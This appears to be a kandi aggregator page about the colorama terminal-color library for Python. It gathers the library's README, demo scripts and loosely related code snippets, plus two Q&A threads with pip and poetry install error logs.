colorama | Simple cross-platform colored terminal text in Python | Command Line Interface library
kandi X-RAY | colorama Summary
Support
Quality
Security
License
Reuse
- Wrap a stream
- Determine if the value should wrap
- Fix sys stdout and stdout
- Wipe the internal state of tests
- Context manager to context manager
- Find an item in the module
- Format a module
colorama Key Features
colorama Examples and Code Snippets
click.echo(click.style('Hello World!', fg='green')) click.echo(click.style('Some more text', bg='blue', fg='white')) click.echo(click.style('ATTENTION', blink=True, bold=True))
click.secho('Hello World!', fg='green') click.secho('Some more text', bg='blue', fg='white') click.secho('ATTENTION', blink=True, bold=True)
If the only thing you want from Colorama is to get ANSI escapes to work on Windows, then run: .. code-block:: python from colorama import just_fix_windows_console just_fix_windows_console() If you're on a recent version of Windows 10 or better, and your stdout/stderr are pointing to a Windows console, then this will flip the magic configuration switch to enable Windows' built-in ANSI support. If you're on an older version of Windows, and your stdout/stderr are pointing to a Windows console, then this will wrap ``sys.stdout`` and/or ``sys.stderr`` in a magic file object that intercepts ANSI escape sequences and issues the appropriate Win32 calls to emulate them. In all other circumstances, it does nothing whatsoever. Basically the idea is that this makes Windows act like Unix with respect to ANSI escape handling. It's safe to call this function multiple times. It's safe to call this function on non-Windows platforms, but it won't do anything. It's safe to call this function when one or both of your stdout/stderr are redirected to a file – it won't do anything to those streams. Alternatively, you can use the older interface with more features (but also more potential footguns): .. code-block:: python from colorama import init init() This does the same thing as ``just_fix_windows_console``, except for the following differences: - It's not safe to call ``init`` multiple times; you can end up with multiple layers of wrapping and broken ANSI support. - Colorama will apply a heuristic to guess whether stdout/stderr support ANSI, and if it thinks they don't, then it will wrap ``sys.stdout`` and ``sys.stderr`` in a magic file object that strips out ANSI escape sequences before printing them. This happens on all platforms, and can be convenient if you want to write your code to emit ANSI escape sequences unconditionally, and let Colorama decide whether they should actually be output. But note that Colorama's heuristic is not particularly clever. - ``init`` also accepts explicit keyword args to enable/disable various functionality – see below. To stop using Colorama before your program exits, simply call ``deinit()``. This will restore ``stdout`` and ``stderr`` to their original values, so that Colorama is disabled. To resume using Colorama again, call ``reinit()``; it is cheaper than calling ``init()`` again (but does the same thing). Most users should depend on ``colorama >= 0.4.6``, and use ``just_fix_windows_console``. The old ``init`` interface will be supported indefinitely for backwards compatibility, but we don't plan to fix any issues with it, also for backwards compatibility. Colored Output
from colorama import Fore, Back, Style print(Fore.RED + 'some red text') print(Back.GREEN + 'and with a green background') print(Style.DIM + 'and in dim text') print(Style.RESET_ALL) print('back to normal now')
print('\033[31m' + 'some red text') print('\033[39m') # and reset to default color
from colorama import just_fix_windows_console from termcolor import colored
# use Colorama to make Termcolor work on Windows too just_fix_windows_console()
# then use Termcolor for all colored text output print(colored('Hello, World!', 'green', 'on_red'))
ANSI codes to reposition the cursor are supported. See ``demos/demo06.py`` for an example of how to generate them. Init Keyword Args ................. ``init()`` accepts some ``**kwargs`` to override default behaviour. init(autoreset=False): If you find yourself repeatedly sending reset sequences to turn off color changes at the end of every print, then ``init(autoreset=True)`` will automate that: .. code-block:: python from colorama import init init(autoreset=True) print(Fore.RED + 'some red text') print('automatically back to default color again') init(strip=None): Pass ``True`` or ``False`` to override whether ANSI codes should be stripped from the output. The default behaviour is to strip if on Windows or if output is redirected (not a tty). init(convert=None): Pass ``True`` or ``False`` to override whether to convert ANSI codes in the output into win32 calls. The default behaviour is to convert if on Windows and output is to a tty (terminal). init(wrap=True): On Windows, Colorama works by replacing ``sys.stdout`` and ``sys.stderr`` with proxy objects, which override the ``.write()`` method to do their work. If this wrapping causes you problems, then this can be disabled by passing ``init(wrap=False)``. The default behaviour is to wrap if ``autoreset`` or ``strip`` or ``convert`` are True. When wrapping is disabled, colored printing on non-Windows platforms will continue to work as normal. To do cross-platform colored output, you can use Colorama's ``AnsiToWin32`` proxy directly: .. code-block:: python import sys from colorama import init, AnsiToWin32 init(wrap=False) stream = AnsiToWin32(sys.stderr).stream # Python 2 print >>stream, Fore.BLUE + 'blue text on stderr' # Python 3 print(Fore.BLUE + 'blue text on stderr', file=stream) Recognised ANSI Sequences ......................... ANSI sequences generally take the form:: ESC [ ; ... Where ```` is an integer, and ```` is a single letter. Zero or more params are passed to a ````. If no params are passed, it is generally synonymous with passing a single zero. No spaces exist in the sequence; they have been inserted here simply to read more easily. The only ANSI sequences that Colorama converts into win32 calls are:: ESC [ 0 m # reset all (colors and brightness) ESC [ 1 m # bright ESC [ 2 m # dim (looks same as normal brightness) ESC [ 22 m # normal brightness # FOREGROUND: ESC [ 30 m # black ESC [ 31 m # red ESC [ 32 m # green ESC [ 33 m # yellow ESC [ 34 m # blue ESC [ 35 m # magenta ESC [ 36 m # cyan ESC [ 37 m # white ESC [ 39 m # reset # BACKGROUND ESC [ 40 m # black ESC [ 41 m # red ESC [ 42 m # green ESC [ 43 m # yellow ESC [ 44 m # blue ESC [ 45 m # magenta ESC [ 46 m # cyan ESC [ 47 m # white ESC [ 49 m # reset # cursor positioning ESC [ y;x H # position cursor at x across, y down ESC [ y;x f # position cursor at x across, y down ESC [ n A # move cursor n lines up ESC [ n B # move cursor n lines down ESC [ n C # move cursor n characters forward ESC [ n D # move cursor n characters backward # clear the screen ESC [ mode J # clear the screen # clear the line ESC [ mode K # clear the line Multiple numeric params to the ``'m'`` command can be combined into a single sequence:: ESC [ 36 ; 45 ; 1 m # bright cyan text on magenta background All other ANSI sequences of the form ``ESC [ ; ... `` are silently stripped from the output on Windows. Any other form of ANSI sequence, such as single-character codes or alternative initial characters, are not recognised or stripped. It would be cool to add them though. Let me know if it would be useful for you, via the Issues on GitHub. Status & Known Problems ----------------------- I've personally only tested it on Windows XP (CMD, Console2), Ubuntu (gnome-terminal, xterm), and OS X. Some valid ANSI sequences aren't recognised. If you're hacking on the code, see `README-hacking.md`_. ESPECIALLY, see the explanation there of why we do not want PRs that allow Colorama to generate new types of ANSI codes. See outstanding issues and wish-list: https://github.com/tartley/colorama/issues If anything doesn't work for you, or doesn't do what you expected or hoped for, I'd love to hear about it on that issues list, would be delighted by patches, and would be happy to grant commit access to anyone who submits a working patch or two. .. _README-hacking.md: README-hacking.md License ------- Copyright Jonathan Hartley & Arnon Yaari, 2013-2020. BSD 3-Clause license; see LICENSE file. Professional support -------------------- .. |tideliftlogo| image:: https://cdn2.hubspot.net/hubfs/4008838/website/logos/logos_for_download/Tidelift_primary-shorthand-logo.png :alt: Tidelift :target: https://tidelift.com/subscription/pkg/pypi-colorama?utm_source=pypi-colorama&utm_medium=referral&utm_campaign=readme .. list-table:: :widths: 10 100 * - |tideliftlogo| - Professional support for colorama is available as part of the `Tidelift Subscription`_. Tidelift gives software development teams a single source for purchasing and maintaining their software, with professional grade assurances from the experts who know it best, while seamlessly integrating with existing tools. .. _Tidelift Subscription: https://tidelift.com/subscription/pkg/pypi-colorama?utm_source=pypi-colorama&utm_medium=referral&utm_campaign=readme Thanks ------ See the CHANGELOG for more thanks! * Marc Schlaich (schlamar) for a ``setup.py`` fix for Python2.5. * Marc Abramowitz, reported & fixed a crash on exit with closed ``stdout``, providing a solution to issue #7's setuptools/distutils debate, and other fixes. * User 'eryksun', for guidance on correctly instantiating ``ctypes.windll``. * Matthew McCormick for politely pointing out a longstanding crash on non-Win. * Ben Hoyt, for a magnificent fix under 64-bit Windows. * Jesse at Empty Square for submitting a fix for examples in the README. * User 'jamessp', an observant documentation fix for cursor positioning. * User 'vaal1239', Dave Mckee & Lackner Kristof for a tiny but much-needed Win7 fix. * Julien Stuyck, for wisely suggesting Python3 compatible updates to README. * Daniel Griffith for multiple fabulous patches. * Oscar Lesta for a valuable fix to stop ANSI chars being sent to non-tty output. * Roger Binns, for many suggestions, valuable feedback, & bug reports. * Tim Golden for thought and much appreciated feedback on the initial idea. * User 'Zearin' for updates to the README file. * John Szakmeister for adding support for light colors * Charles Merriam for adding documentation to demos * Jurko for a fix on 64-bit Windows CPython2.5 w/o ctypes * Florian Bruhin for a fix when stdout or stderr are None * Thomas Weininger for fixing ValueError on Windows * Remi Rampin for better Github integration and fixes to the README file * Simeon Visser for closing a file handle using 'with' and updating classifiers to include Python 3.3 and 3.4 * Andy Neff for fixing RESET of LIGHT_EX colors. * Jonathan Hartley for the initial idea and implementation.
#!/usr/bin/python # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. # print grid of all colors and brightnesses # uses stdout.write to write chars with no newline nor spaces between them # This should run more-or-less identically on Windows and Unix. from __future__ import print_function import sys # Add parent dir to sys path, so the following 'import colorama' always finds # the local source in preference to any installed version of colorama. import fixpath from colorama import just_fix_windows_console, Fore, Back, Style just_fix_windows_console() # Fore, Back and Style are convenience classes for the constant ANSI strings that set # the foreground, background and style. The don't have any magic of their own. FORES = [ Fore.BLACK, Fore.RED, Fore.GREEN, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN, Fore.WHITE ] BACKS = [ Back.BLACK, Back.RED, Back.GREEN, Back.YELLOW, Back.BLUE, Back.MAGENTA, Back.CYAN, Back.WHITE ] STYLES = [ Style.DIM, Style.NORMAL, Style.BRIGHT ] NAMES = { Fore.BLACK: 'black', Fore.RED: 'red', Fore.GREEN: 'green', Fore.YELLOW: 'yellow', Fore.BLUE: 'blue', Fore.MAGENTA: 'magenta', Fore.CYAN: 'cyan', Fore.WHITE: 'white' , Fore.RESET: 'reset', Back.BLACK: 'black', Back.RED: 'red', Back.GREEN: 'green', Back.YELLOW: 'yellow', Back.BLUE: 'blue', Back.MAGENTA: 'magenta', Back.CYAN: 'cyan', Back.WHITE: 'white', Back.RESET: 'reset' } # show the color names sys.stdout.write(' ') for foreground in FORES: sys.stdout.write('%s%-7s' % (foreground, NAMES[foreground])) print() # make a row for each background color for background in BACKS: sys.stdout.write('%s%-7s%s %s' % (background, NAMES[background], Back.RESET, background)) # make a column for each foreground color for foreground in FORES: sys.stdout.write(foreground) # show dim, normal bright for brightness in STYLES: sys.stdout.write('%sX ' % brightness) sys.stdout.write(Style.RESET_ALL + ' ' + background) print(Style.RESET_ALL) print()
# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. from __future__ import print_function import fixpath import colorama from colorama import Fore, Back, Style, Cursor from random import randint, choice from string import printable # Demonstrate printing colored, random characters at random positions on the screen # Fore, Back and Style are convenience classes for the constant ANSI strings that set # the foreground, background and style. They don't have any magic of their own. FORES = [ Fore.BLACK, Fore.RED, Fore.GREEN, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN, Fore.WHITE ] BACKS = [ Back.BLACK, Back.RED, Back.GREEN, Back.YELLOW, Back.BLUE, Back.MAGENTA, Back.CYAN, Back.WHITE ] STYLES = [ Style.DIM, Style.NORMAL, Style.BRIGHT ] # This assumes your terminal is 80x24. Ansi minimum coordinate is (1,1). MINY, MAXY = 1, 24 MINX, MAXX = 1, 80 # set of printable ASCII characters, including a space. CHARS = ' ' + printable.strip() PASSES = 1000 def main(): colorama.just_fix_windows_console() pos = lambda y, x: Cursor.POS(x, y) # draw a white border. print(Back.WHITE, end='') print('%s%s' % (pos(MINY, MINX), ' '*MAXX), end='') for y in range(MINY, 1+MAXY): print('%s %s ' % (pos(y, MINX), pos(y, MAXX)), end='') print('%s%s' % (pos(MAXY, MINX), ' '*MAXX), end='') # draw some blinky lights for a while. for i in range(PASSES): print('%s%s%s%s%s' % (pos(randint(1+MINY,MAXY-1), randint(1+MINX,MAXX-1)), choice(FORES), choice(BACKS), choice(STYLES), choice(CHARS)), end='') # put cursor to top, left, and set color to white-on-black with normal brightness. print('%s%s%s%s' % (pos(MINY, MINX), Fore.WHITE, Back.BLACK, Style.NORMAL), end='') if __name__ == '__main__': main()
#!/usr/bin/python # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. # Simple demo of changing foreground, background and brightness. from __future__ import print_function import fixpath from colorama import just_fix_windows_console, Fore, Back, Style just_fix_windows_console() print(Fore.GREEN + 'green, ' + Fore.RED + 'red, ' + Fore.RESET + 'normal, ' , end='') print(Back.GREEN + 'green, ' + Back.RED + 'red, ' + Back.RESET + 'normal, ' , end='') print(Style.DIM + 'dim, ' + Style.BRIGHT + 'bright, ' + Style.NORMAL + 'normal' , end=' ') print()
def type_handler(cursor, name, default_type, size, precision, scale):
if default_type == oracledb.DB_TYPE_NUMBER:
return cursor.var(oracledb.DB_TYPE_VARCHAR, arraysize=cursor.arraysize,
outconverter=lambda v: v.replace('.', ','))
conn.outputtypehandler = type_handler
cursor.execute("select 2.5 from dual")
df = pd.DataFrame(data, columns=pd.MultiIndex.from_tuples(cols))
#if nott create it
#df = pd.Dataframe(data, columns=cols)
#df.columns = pd.MultiIndex.from_tuples(df.columns)
m1 = ~df.isna().groupby(level=0, axis=1).transform('all').any()
m2 = ~df.isna().any()
df = df.loc[:, m1 | m2]
print(df)
column3
first last
0 x NaN
1 y NaN
2 z NaN
from kivy.app import App
from kivy.lang import Builder
from kivy.core.window import Window
kv = '''
GridLayout:
cols: 1
size_hint: (0.7, 0.9)
pos_hint: {"center_x": 0.5, "center_y": 0.5}
Image:
source: 'captus.png'
Label:
text: app.local
color: 0, 0, 0, 1
size_hint_y: None
height: self.texture_size[1]
'''
class TestApp(App):
def build(self):
self.local = "Test message"
# background color
Window.clearcolor = (1, 1, 1, 1)
return Builder.load_string(kv)
if __name__ == "__main__":
TestApp().run()
e2.insert('1.0', sel['Address'])
Trending Discussions on colorama
Trending Discussions on colorama
QUESTION
I'm trying to install eth-brownie using 'pipx install eth-brownie' but I get an error saying
pip failed to build package: cytoolz
Some possibly relevant errors from pip install:
build\lib.win-amd64-3.10\cytoolz\functoolz.cp310-win_amd64.pyd : fatal error LNK1120: 1 unresolved externals
error: command 'C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\BuildTools\\VC\\Tools\\MSVC\\14.29.30133\\bin\\HostX86\\x64\\link.exe' failed with exit code 1120
I've had a look at the log file and it shows that it failed to build cytoolz. It also mentions "ALERT: Cython not installed. Building without Cython.". From my limited understanding Cytoolz is apart of Cython so i think the reason why the installation for eth-brownie failed is because it could not build cytoolz as it was trying to build it without Cython. The thing is I already have cython installed:
C:\Users\alaiy>pip install cython
Requirement already satisfied: cython in c:\python310\lib\site-packages (0.29.24)
Extract from the log file (I can paste the whole thing but its lengthy):
Building wheels for collected packages: bitarray, cytoolz, lru-dict, parsimonious, psutil, pygments-lexer-solidity, varint, websockets, wrapt
Building wheel for bitarray (setup.py): started
Building wheel for bitarray (setup.py): finished with status 'done'
Created wheel for bitarray: filename=bitarray-1.2.2-cp310-cp310-win_amd64.whl size=55783 sha256=d4ae97234d659ed9ff1f0c0201e82c7e321bd3f4e122f6c2caee225172e7bfb2
Stored in directory: c:\users\alaiy\appdata\local\pip\cache\wheels\1d\29\a8\5364620332cc833df35535f54074cf1e51f94d07d2a660bd6d
Building wheel for cytoolz (setup.py): started
Building wheel for cytoolz (setup.py): finished with status 'error'
Running setup.py clean for cytoolz
Building wheel for lru-dict (setup.py): started
Building wheel for lru-dict (setup.py): finished with status 'done'
Created wheel for lru-dict: filename=lru_dict-1.1.7-cp310-cp310-win_amd64.whl size=12674 sha256=6a7e7b2068eb8481650e0a2ae64c94223b3d2c018f163c5a0e7c1d442077450a
Stored in directory: c:\users\alaiy\appdata\local\pip\cache\wheels\47\0a\dc\b156cb52954bbc1c31b4766ca3f0ed9eae9b218812bca89d7b
Building wheel for parsimonious (setup.py): started
Building wheel for parsimonious (setup.py): finished with status 'done'
Created wheel for parsimonious: filename=parsimonious-0.8.1-py3-none-any.whl size=42724 sha256=f9235a9614af0f5204d6bb35b8bd30b9456eae3021b5c2a9904345ad7d07a49d
Stored in directory: c:\users\alaiy\appdata\local\pip\cache\wheels\b1\12\f1\7a2f39b30d6780ae9f2be9a52056595e0d97c1b4531d183085
Building wheel for psutil (setup.py): started
Building wheel for psutil (setup.py): finished with status 'done'
Created wheel for psutil: filename=psutil-5.8.0-cp310-cp310-win_amd64.whl size=246135 sha256=834ab1fd1dd0c18e574fc0fbf07922e605169ac68be70b8a64fb90c49ad4ae9b
Stored in directory: c:\users\alaiy\appdata\local\pip\cache\wheels\12\a3\6d\615295409067d58a62a069d30d296d61d3ac132605e3a9555c
Building wheel for pygments-lexer-solidity (setup.py): started
Building wheel for pygments-lexer-solidity (setup.py): finished with status 'done'
Created wheel for pygments-lexer-solidity: filename=pygments_lexer_solidity-0.7.0-py3-none-any.whl size=7321 sha256=46355292f790d07d941a745cd58b64c5592e4c24357f7cc80fe200c39ab88d32
Stored in directory: c:\users\alaiy\appdata\local\pip\cache\wheels\36\fd\bc\6ff4fe156d46016eca64c9652a1cd7af6411070c88acbeabf5
Building wheel for varint (setup.py): started
Building wheel for varint (setup.py): finished with status 'done'
Created wheel for varint: filename=varint-1.0.2-py3-none-any.whl size=1979 sha256=36b744b26ba7534a494757e16ab6e171d9bb60a4fe4663557d57034f1150b678
Stored in directory: c:\users\alaiy\appdata\local\pip\cache\wheels\39\48\5e\33919c52a2a695a512ca394a5308dd12626a40bbcd288de814
Building wheel for websockets (setup.py): started
Building wheel for websockets (setup.py): finished with status 'done'
Created wheel for websockets: filename=websockets-9.1-cp310-cp310-win_amd64.whl size=91765 sha256=a00a9c801269ea2b86d72c0b0b654dc67672519721afeac8f912a157e52901c0
Stored in directory: c:\users\alaiy\appdata\local\pip\cache\wheels\79\f7\4e\873eca27ecd6d7230caff265283a5a5112ad4cd1d945c022dd
Building wheel for wrapt (setup.py): started
Building wheel for wrapt (setup.py): finished with status 'done'
Created wheel for wrapt: filename=wrapt-1.12.1-cp310-cp310-win_amd64.whl size=33740 sha256=ccd729b6e3915164ac4994aef731f21cd232466b3f6c4823c9fda14b07e821c3
Stored in directory: c:\users\alaiy\appdata\local\pip\cache\wheels\8e\61\d3\d9e7053100177668fa43216a8082868c55015f8706abd974f2
Successfully built bitarray lru-dict parsimonious psutil pygments-lexer-solidity varint websockets wrapt
Failed to build cytoolz
Installing collected packages: toolz, eth-typing, eth-hash, cytoolz, six, pyparsing, eth-utils, varint, urllib3, toml, rlp, pyrsistent, pycryptodome, py, pluggy, parsimonious, packaging, netaddr, multidict, iniconfig, idna, hexbytes, eth-keys, colorama, charset-normalizer, certifi, base58, attrs, atomicwrites, yarl, typing-extensions, requests, python-dateutil, pytest, multiaddr, jsonschema, inflection, eth-rlp, eth-keyfile, eth-abi, chardet, bitarray, async-timeout, websockets, wcwidth, tomli, sortedcontainers, semantic-version, regex, pywin32, pytest-forked, pyjwt, pygments, protobuf, platformdirs, pathspec, mythx-models, mypy-extensions, lru-dict, ipfshttpclient, execnet, eth-account, dataclassy, click, asttokens, aiohttp, wrapt, web3, vyper, vvm, tqdm, pyyaml, pythx, python-dotenv, pytest-xdist, pygments-lexer-solidity, py-solc-x, py-solc-ast, psutil, prompt-toolkit, lazy-object-proxy, hypothesis, eth-event, eip712, black, eth-brownie
Running setup.py install for cytoolz: started
Running setup.py install for cytoolz: finished with status 'error'
PIP STDERR
----------
WARNING: The candidate selected for download or install is a yanked version: 'protobuf' candidate (version 3.18.0 at https://files.pythonhosted.org/packages/74/4e/9f3cb458266ef5cdeaa1e72a90b9eda100e3d1803cbd7ec02f0846da83c3/protobuf-3.18.0-py2.py3-none-any.whl#sha256=615099e52e9fbc9fde00177267a94ca820ecf4e80093e390753568b7d8cb3c1a (from https://pypi.org/simple/protobuf/))
Reason for being yanked: This version claims to support Python 2 but does not
ERROR: Command errored out with exit status 1:
command: 'C:\Users\alaiy\.local\pipx\venvs\eth-brownie\Scripts\python.exe' -u -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'C:\\Users\\alaiy\\AppData\\Local\\Temp\\pip-install-d1bskwa2\\cytoolz_f765f335272241adba2138f1920a35cd\\setup.py'"'"'; __file__='"'"'C:\\Users\\alaiy\\AppData\\Local\\Temp\\pip-install-d1bskwa2\\cytoolz_f765f335272241adba2138f1920a35cd\\setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' bdist_wheel -d 'C:\Users\alaiy\AppData\Local\Temp\pip-wheel-pxzumeav'
cwd: C:\Users\alaiy\AppData\Local\Temp\pip-install-d1bskwa2\cytoolz_f765f335272241adba2138f1920a35cd\
Complete output (70 lines):
ALERT: Cython not installed. Building without Cython.
running bdist_wheel
running build
running build_py
creating build
creating build\lib.win-amd64-3.10
creating build\lib.win-amd64-3.10\cytoolz
copying cytoolz\compatibility.py -> build\lib.win-amd64-3.10\cytoolz
copying cytoolz\utils_test.py -> build\lib.win-amd64-3.10\cytoolz
Any help would be appreciated!
Edit: Found a solution. Cython appears to not be supported on Python 3.10 (ref https://github.com/eth-brownie/brownie/issues/1300 and https://github.com/cython/cython/issues/4046). I downgraded to Python 3.9.7 and eth-brownie installation worked!)
ANSWER
Answered 2022-Jan-02 at 09:59I used pip install eth-brownie and it worked fine, I didnt need to downgrade. Im new to this maybe I could be wrong but it worked fine with me.
QUESTION
I want to install packages from poetry.lock
file; using poetry install
.
However, the majority of packages throw the exact same error, indicating a shared fundamental problem.
What is causing this? What is the standard fix?
Specification:
- Windows 10,
- Visual Studio Code,
- Python 3.8.10 & Poetry 1.1.11,
- Ubuntu Bash.
Terminal:
rm poetry.lock
poetry update
poetry install
me@PF2DCSXD:/mnt/c/Users/user/Documents/GitHub/workers-python/workers/composite_key$ poetry update
Updating dependencies
Resolving dependencies... (217.2s)
Writing lock file
Package operations: 55 installs, 8 updates, 0 removals
• Updating pyparsing (3.0.4 -> 2.4.7)
• Updating pyyaml (5.4.1 -> 6.0)
• Installing arrow (1.2.1)
• Installing chardet (4.0.0)
• Updating itsdangerous (1.1.0 -> 2.0.1)
• Updating jinja2 (2.11.3 -> 3.0.2)
• Updating packaging (20.9 -> 21.2)
• Installing text-unidecode (1.3)
• Updating werkzeug (1.0.1 -> 2.0.2)
• Installing binaryornot (0.4.4)
• Installing bokeh (2.4.1): Failed
AttributeError
'Link' object has no attribute 'name'
at ~/.local/share/pypoetry/venv/lib/python3.8/site-packages/poetry/installation/executor.py:632 in _download_link
628│ raise RuntimeError(
629│ "Invalid hashes ({}) for {} using archive {}. Expected one of {}.".format(
630│ ", ".join(sorted(archive_hashes)),
631│ package,
→ 632│ archive.name,
633│ ", ".join(sorted(hashes)),
634│ )
635│ )
636│
• Updating flask (1.1.4 -> 2.0.2)
• Installing jinja2-time (0.2.0)
• Installing poyo (0.5.0)
• Installing python-slugify (5.0.2)
me@PF2DCSXD:/mnt/c/Users/user/Documents/GitHub/workers-python/workers/composite_key$ ls
Dockerfile azure-pipeline-composite_key.yaml compositekey docs poetry.lock pyproject.toml
me@PF2DCSXD:/mnt/c/Users/user/Documents/GitHub/workers-python/workers/composite_key$ poetry install
Installing dependencies from lock file
Package operations: 48 installs, 1 update, 3 removals
• Removing cffi (1.15.0)
• Removing colorama (0.4.4)
• Removing pycparser (2.20)
• Installing bokeh (2.4.1): Failed
AttributeError
'Link' object has no attribute 'name'
at ~/.local/share/pypoetry/venv/lib/python3.8/site-packages/poetry/installation/executor.py:632 in _download_link
628│ raise RuntimeError(
629│ "Invalid hashes ({}) for {} using archive {}. Expected one of {}.".format(
630│ ", ".join(sorted(archive_hashes)),
631│ package,
→ 632│ archive.name,
633│ ", ".join(sorted(hashes)),
634│ )
635│ )
636│
Suggested Solution Failed:
danielbellhv@PF2DCSXD:/mnt/c/Users/dabell/Documents/GitHub/workers-python/workers/data_simulator$ pip install poetry==1.1.7
Defaulting to user installation because normal site-packages is not writeable
Collecting poetry==1.1.7
Downloading poetry-1.1.7-py2.py3-none-any.whl (173 kB)
|████████████████████████████████| 173 kB 622 kB/s
Requirement already satisfied: cachy<0.4.0,>=0.3.0 in /home/danielbellhv/.local/lib/python3.8/site-packages (from poetry==1.1.7) (0.3.0)
Requirement already satisfied: requests-toolbelt<0.10.0,>=0.9.1 in /home/danielbellhv/.local/lib/python3.8/site-packages (from poetry==1.1.7) (0.9.1)
Requirement already satisfied: pkginfo<2.0,>=1.4 in /home/danielbellhv/.local/lib/python3.8/site-packages (from poetry==1.1.7) (1.7.1)
Requirement already satisfied: shellingham<2.0,>=1.1 in /home/danielbellhv/.local/lib/python3.8/site-packages (from poetry==1.1.7) (1.4.0)
Requirement already satisfied: tomlkit<1.0.0,>=0.7.0 in /home/danielbellhv/.local/lib/python3.8/site-packages (from poetry==1.1.7) (0.7.2)
Requirement already satisfied: cachecontrol[filecache]<0.13.0,>=0.12.4 in /home/danielbellhv/.local/lib/python3.8/site-packages (from poetry==1.1.7) (0.12.8)
Requirement already satisfied: html5lib<2.0,>=1.0 in /home/danielbellhv/.local/lib/python3.8/site-packages (from poetry==1.1.7) (1.1)
Requirement already satisfied: poetry-core<1.1.0,>=1.0.3 in /home/danielbellhv/.local/lib/python3.8/site-packages (from poetry==1.1.7) (1.0.4)
Requirement already satisfied: crashtest<0.4.0,>=0.3.0 in /home/danielbellhv/.local/lib/python3.8/site-packages (from poetry==1.1.7) (0.3.1)
Requirement already satisfied: clikit<0.7.0,>=0.6.2 in /home/danielbellhv/.local/lib/python3.8/site-packages (from poetry==1.1.7) (0.6.2)
Requirement already satisfied: keyring<22.0.0,>=21.2.0 in /home/danielbellhv/.local/lib/python3.8/site-packages (from poetry==1.1.7) (21.8.0)
Requirement already satisfied: pexpect<5.0.0,>=4.7.0 in /home/danielbellhv/.local/lib/python3.8/site-packages (from poetry==1.1.7) (4.8.0)
Requirement already satisfied: cleo<0.9.0,>=0.8.1 in /home/danielbellhv/.local/lib/python3.8/site-packages (from poetry==1.1.7) (0.8.1)
Requirement already satisfied: virtualenv<21.0.0,>=20.0.26 in /home/danielbellhv/.local/lib/python3.8/site-packages (from poetry==1.1.7) (20.10.0)
Requirement already satisfied: packaging<21.0,>=20.4 in /home/danielbellhv/.local/lib/python3.8/site-packages (from poetry==1.1.7) (20.9)
Requirement already satisfied: requests<3.0,>=2.18 in /usr/lib/python3/dist-packages (from poetry==1.1.7) (2.22.0)
Requirement already satisfied: msgpack>=0.5.2 in /home/danielbellhv/.local/lib/python3.8/site-packages (from cachecontrol[filecache]<0.13.0,>=0.12.4->poetry==1.1.7) (1.0.2)
Requirement already satisfied: lockfile>=0.9 in /home/danielbellhv/.local/lib/python3.8/site-packages (from cachecontrol[filecache]<0.13.0,>=0.12.4->poetry==1.1.7) (0.12.2)
Requirement already satisfied: pastel<0.3.0,>=0.2.0 in /home/danielbellhv/.local/lib/python3.8/site-packages (from clikit<0.7.0,>=0.6.2->poetry==1.1.7) (0.2.1)
Requirement already satisfied: pylev<2.0,>=1.3 in /home/danielbellhv/.local/lib/python3.8/site-packages (from clikit<0.7.0,>=0.6.2->poetry==1.1.7) (1.4.0)
Requirement already satisfied: webencodings in /home/danielbellhv/.local/lib/python3.8/site-packages (from html5lib<2.0,>=1.0->poetry==1.1.7) (0.5.1)
Requirement already satisfied: six>=1.9 in /usr/lib/python3/dist-packages (from html5lib<2.0,>=1.0->poetry==1.1.7) (1.14.0)
Requirement already satisfied: jeepney>=0.4.2 in /home/danielbellhv/.local/lib/python3.8/site-packages (from keyring<22.0.0,>=21.2.0->poetry==1.1.7) (0.7.1)
Requirement already satisfied: SecretStorage>=3.2 in /home/danielbellhv/.local/lib/python3.8/site-packages (from keyring<22.0.0,>=21.2.0->poetry==1.1.7) (3.3.1)
Requirement already satisfied: pyparsing>=2.0.2 in /home/danielbellhv/.local/lib/python3.8/site-packages (from packaging<21.0,>=20.4->poetry==1.1.7) (2.4.7)
Requirement already satisfied: ptyprocess>=0.5 in /home/danielbellhv/.local/lib/python3.8/site-packages (from pexpect<5.0.0,>=4.7.0->poetry==1.1.7) (0.7.0)
Requirement already satisfied: platformdirs<3,>=2 in /home/danielbellhv/.local/lib/python3.8/site-packages (from virtualenv<21.0.0,>=20.0.26->poetry==1.1.7) (2.4.0)
Requirement already satisfied: distlib<1,>=0.3.1 in /home/danielbellhv/.local/lib/python3.8/site-packages (from virtualenv<21.0.0,>=20.0.26->poetry==1.1.7) (0.3.3)
Requirement already satisfied: filelock<4,>=3.2 in /home/danielbellhv/.local/lib/python3.8/site-packages (from virtualenv<21.0.0,>=20.0.26->poetry==1.1.7) (3.3.2)
Requirement already satisfied: backports.entry-points-selectable>=1.0.4 in /home/danielbellhv/.local/lib/python3.8/site-packages (from virtualenv<21.0.0,>=20.0.26->poetry==1.1.7) (1.1.0)
Requirement already satisfied: cryptography>=2.0 in /usr/lib/python3/dist-packages (from SecretStorage>=3.2->keyring<22.0.0,>=21.2.0->poetry==1.1.7) (2.8)
Installing collected packages: poetry
Successfully installed poetry-1.1.7
danielbellhv@PF2DCSXD:/mnt/c/Users/dabell/Documents/GitHub/workers-python/workers/data_simulator$ pip install poetry-core==1.0.4
Defaulting to user installation because normal site-packages is not writeable
Requirement already satisfied: poetry-core==1.0.4 in /home/danielbellhv/.local/lib/python3.8/site-packages (1.0.4)
danielbellhv@PF2DCSXD:/mnt/c/Users/dabell/Documents/GitHub/workers-python/workers/data_simulator$ poetry install
Installing dependencies from lock file
Package operations: 82 installs, 0 updates, 0 removals
• Installing certifi (2021.5.30): Pending...
• Installing charset-normalizer (2.0.3): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing idna (3.2): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
